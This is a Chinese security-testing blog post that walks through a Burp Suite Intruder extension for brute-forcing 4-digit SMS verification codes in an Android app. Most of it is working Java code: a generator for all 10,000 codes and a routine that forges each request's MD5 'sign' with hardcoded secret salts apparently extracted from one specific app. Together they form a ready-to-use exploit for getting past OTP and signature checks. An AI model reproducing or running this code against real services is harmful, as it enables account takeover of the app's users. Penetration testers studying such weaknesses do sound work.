apk短信验证码安全测试二

上一篇得到发送验证码请求的sign签名算法后,这篇主要介绍4位纯数字验证码burp插件的编写。介绍验证码插件之前,我们先介绍一下验证码插件会用到的三个burp接口IIntruderPayloadGeneratorFactoryIIntruderPayloadGeneratorIIntruderPayloadProcessor,再介绍验证码插件编写及使用。

一、burp接口介绍

  1. IIntruderPayloadGeneratorFactory

    在插件中implements此接口,并且在registerExtenderCallbacks方法中注册它后,即实现了一个IntruderPayloadGenerator工厂。我们可以重写该接口的createNewInstance的方法来调用我们自定义的Payload生成器(比如本篇文章的4位纯数字验证码生成器),如下所示

    apk短信验证码安全测试二_第1张图片
    图片
    apk短信验证码安全测试二_第2张图片
    图片
  2. IIntruderPayloadGenerator

    此接口用于实现我们自定义的生成器,implements该接口后,可以使用该接口提供的3个方法,返回我们生成的payload,如下所示

    apk短信验证码安全测试二_第3张图片
    图片
  3. IIntruderPayloadProcessor

    在插件中implements此接口,并且在registerExtenderCallbacks方法中注册它后,即我们实现了一个payload处理器。我们可以重写该接口中的processPayload方法,来实现对payload的处理,再返回处理后的结果(比如本篇文章将payload中的验证码替换为新的验证码,再重新计算sign后替换之前的sign),如下所示

    apk短信验证码安全测试二_第4张图片
    图片

    processPayload方法包含三个byte[]类型的参数currentPayload、originalPayload、baseValue。

    currentPayload 即我们传进来的生成的payload,本篇文章即我们在payload生成器中生成的4位纯数字验证码。

    originalPayload表示在应用了任何Processor处理器之前的最原始的payload值 测试发现与currentPayload是一样的

    baseValue 我们在burp Positions中选定的值,如下面所示

    apk短信验证码安全测试二_第5张图片
    图片

二、验证码插件实现与使用

  1. 4位纯数字验证码payload生成
//自定义payload生成器
class IntruderPayloadGenerator implements IIntruderPayloadGenerator{

    private int payloadIndex = 0; //用于payloads验证码计数
    private String[] payloads = null;//存放生成验证码字符串的String数组
    
    public IntruderPayloadGenerator() {
      // TODO Auto-generated constructor stub
      //在构造函数中调用generateVerifyCodeArray()
      //函数生成4位纯数字验证码String数组
      //将结果复制给payloads成员变量
      this.payloads = generateVerifyCodeArray();
    }
    
    //生成4位纯数字验证码方法
    private String[] generateVerifyCodeArray() {
      String[] verifyCodeStrings = new String[10000];
      try {
        for(int i = 0; i < 10000; i++) {
          if(i < 10) {
            verifyCodeStrings[i] = String.format("000%d", i);
          }
          else if(i >= 10 && i < 100) {
            verifyCodeStrings[i] = String.format("00%d", i);
          }
          else if(i >= 100 && i < 1000) {
            verifyCodeStrings[i] = String.format("0%d", i);
          }
          else {
            verifyCodeStrings[i] = String.valueOf(i);
          }
        }
      }catch(Exception e) {
        e.printStackTrace();
      }
      return verifyCodeStrings;
    }
    
    //在getNextPayload方法里面依次返回生成的4位纯数字验证码
    @Override
    public byte[] getNextPayload(byte[] baseValue) {
      // TODO Auto-generated method stub
      byte[] payload = null;
      try {
        payload = this.payloads[payloadIndex].getBytes("UTF-8");
        payloadIndex++;
      }catch(Exception e) {
        e.printStackTrace();
      }
      return payload;
    }

    //在hasMorePayloads方法中设置当计数器计数小于我们的payloads数组
    //长度时 则一直为true 表示还有payload可以返回
    @Override
    public boolean hasMorePayloads() {
      // TODO Auto-generated method stub
      return payloadIndex < this.payloads.length;
    }

    //在reset方法中设置当重置时 则计数归0
    @Override
    public void reset() {
      // TODO Auto-generated method stub
      payloadIndex = 0;
    }
 }
  1. 根据新的验证码参数及burp中的请求数据生成相对应的sign签名并返回新的请求数据
//在Utils类中定义我们计算sign及构造新的请求包体(body)的方法
public class Utils {
  //public static方法及提供给其他类调用的方法getNewRequestData
  //参数有两个verifyCode、requestData
  //verifyCode即每次传进来的新生成的4位纯数字验证码
  //requestData即前一次的旧的请求包体(body)
  //需要上面两个参数 是因为我们需要提取requestData中的
  //其他字段构造list再加上新生成的verifyCode来计算sign签名校验值
  public static String getNewRequestData(String verifyCode,String requestData) {
    String result = "";
    try {
      JSONObject jsonObject = new JSONObject(requestData);
      List requestList = new ArrayList();
      requestList.add("appId=" + jsonObject.getString("appId"));
      requestList.add("osType=" + jsonObject.getString("osType"));
      requestList.add("product=" + jsonObject.getString("product"));
      requestList.add("sysVer=" + jsonObject.getString("sysVer"));
      requestList.add("time=" + jsonObject.getString("time"));
      requestList.add("token=" + jsonObject.getString("token"));
      requestList.add("udid=" + jsonObject.getString("udid"));
      requestList.add("ver=" + jsonObject.getString("ver"));
      requestList.add("phoneModel=" + jsonObject.getString("phoneModel"));
      requestList.add("marketChannel=" + jsonObject.getString("marketChannel"));
      requestList.add("packageName=" + jsonObject.getString("packageName"));
      requestList.add("lang-app=" + jsonObject.getString("lang-app"));
      requestList.add("lang=" + jsonObject.getString("lang"));
      requestList.add("locale=" + jsonObject.getString("locale"));
      requestList.add("appsflyer-id=" + jsonObject.getString("appsflyer-id"));
      requestList.add("idfa=" + jsonObject.getString("idfa"));
      requestList.add("shumei_device_id=" + jsonObject.getString("shumei_device_id"));
      requestList.add("mobile=" + jsonObject.getString("mobile"));
      requestList.add("code=" + verifyCode);
      //上面构造请求参数list
      //构造完以后调用我们之前分析的getSortedParams函数
      //将list转成String
      result = getSortedParams(requestList);
      System.out.println("request result is: " + result);
      
      //将新生成的验证码添加到新的请求包体(body)中
      jsonObject.put("code", verifyCode);
      //调用getMD5方法计算sign值
      //参数为上面list转成String的值
      //计算完以后添加到新的包体中
      jsonObject.put("sign", getMD5(result));
      result = jsonObject.toString();
    }catch(Exception e) {
      e.printStackTrace();
    }
    //最后返回新的请求包体(body)
    return result;
  }
  
  //getSortedParams list转成String的方法
  private static String getSortedParams(List list) {
    String result = "";
    try {
      StringBuilder stringBuilder = new StringBuilder();
      stringBuilder.append("Fb0gqLMSf5Android");
      Collections.sort(list);
      int i = 0;
      while(i < list.size()) {
        if(i == 0) {
          stringBuilder.append(list.get(i));
        } else {
          if(list.get(i).contains("lang-app=")) {
            int i2 = i + 1;
            if(list.get(i2) != null && list.get(i2).contains("lang=")) {
              stringBuilder.append("&");
              stringBuilder.append(list.get(i2));
              stringBuilder.append("&");
              stringBuilder.append(list.get(i));
              i = i2;
            }
          }
          else {
            stringBuilder.append("&");
            stringBuilder.append(list.get(i));
          }

        }
        i++;
      }
      stringBuilder.append("AEdDtho2CjiH901aVK7swFqclu6NmzJ4");
      result = stringBuilder.toString();
    }catch(Exception e) {
      e.printStackTrace();
    }
    return result;
  }
  
  //计算MD5的方法
  private static String getMD5(String plainText) {
    char hexDigits[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
    String result = "";
    try {
      byte[] plainBytes = plainText.getBytes("UTF-8");
      MessageDigest messageDigest = MessageDigest.getInstance("md5");
      messageDigest.update(plainBytes);
      byte[] encryptBytes = messageDigest.digest();
      int encryptBytesLen = encryptBytes.length;
      char[] resultBytes = new char[encryptBytesLen * 2];
      int k = 0;
      for(int i = 0; i < encryptBytesLen; i++) {
        byte tempBytes = encryptBytes[i];
        resultBytes[k++] = hexDigits[tempBytes >>> 4 & 0xf];
        resultBytes[k++] = hexDigits[tempBytes & 0xf];
      }
      result = (new String(resultBytes)).toUpperCase();
    }catch (Exception e) {
      // TODO: handle exception
      e.printStackTrace();
    }
    return result;
  }
  
  public static void main(String[] args) {
    String plainText = "";
    String result = getMD5(plainText);
    System.out.println(result);
  }
}
  1. 在payload处理器processPayload方法中调用Utils类中的getNewRequestData方法
//processPayload方法是我们上面介绍的处理传进来的自定义生成器
 //生成的payload、以及我们在burp中选定的数据最后将处理结果
 //返回到burp中作为新的请求数据(body)
 //在这里currentPayload就是我们的生成的4位纯数字验证码
 //baseValue就是我们选定的整个请求包体(body)的数据
 //传进来以后我们调用Utils.getNewRequestData计算
 //新的请求包体(body)返回值返回给newRequestData
 //最后将newRequestData转成byte[]返回
  public byte[] processPayload(byte[] currentPayload, byte[] originalPayload, byte[] baseValue) {
    byte[] result = null;
    // TODO Auto-generated method stub
    try {
     //打印测试数据
      String logString = String.format("currentPayload is : %s and "
          + "originalPayload is: %s and baseValue is: %s", new String(currentPayload),
          new String(originalPayload),new String(baseValue));
      stdout.println(logString);
      //调用getNewRequestData方法
      String newRequestData = Utils.getNewRequestData(new String(currentPayload),new String(baseValue));
      result = helpers.stringToBytes(newRequestData);
    }catch(Exception e) {
      e.printStackTrace();
    }
    return result;
  }
  1. intruder中设置插件

    首先在Extender中将插件加载进来,如下所示

    apk短信验证码安全测试二_第6张图片
    图片

    在Intruder中设置

    apk短信验证码安全测试二_第7张图片
    图片
    apk短信验证码安全测试二_第8张图片
    图片
    apk短信验证码安全测试二_第9张图片
    图片
    apk短信验证码安全测试二_第10张图片
    图片
    apk短信验证码安全测试二_第11张图片
    图片
    apk短信验证码安全测试二_第12张图片
    图片
    apk短信验证码安全测试二_第13张图片
    图片
  2. 测试插件功能

    apk短信验证码安全测试二_第14张图片
    图片
    apk短信验证码安全测试二_第15张图片
    图片
    apk短信验证码安全测试二_第16张图片
    图片

综上所述,该篇文章主要介绍了burp intruder模块插件编写。安全测试时在处理请求中带有sign请求校验的,可以尝试使用插件。如果需要本篇文章中测试的burp插件代码,可以在公众号回复"VerifyCode BurpExnteder",通过百度云链接下载。

你可能感兴趣的:(apk短信验证码安全测试二)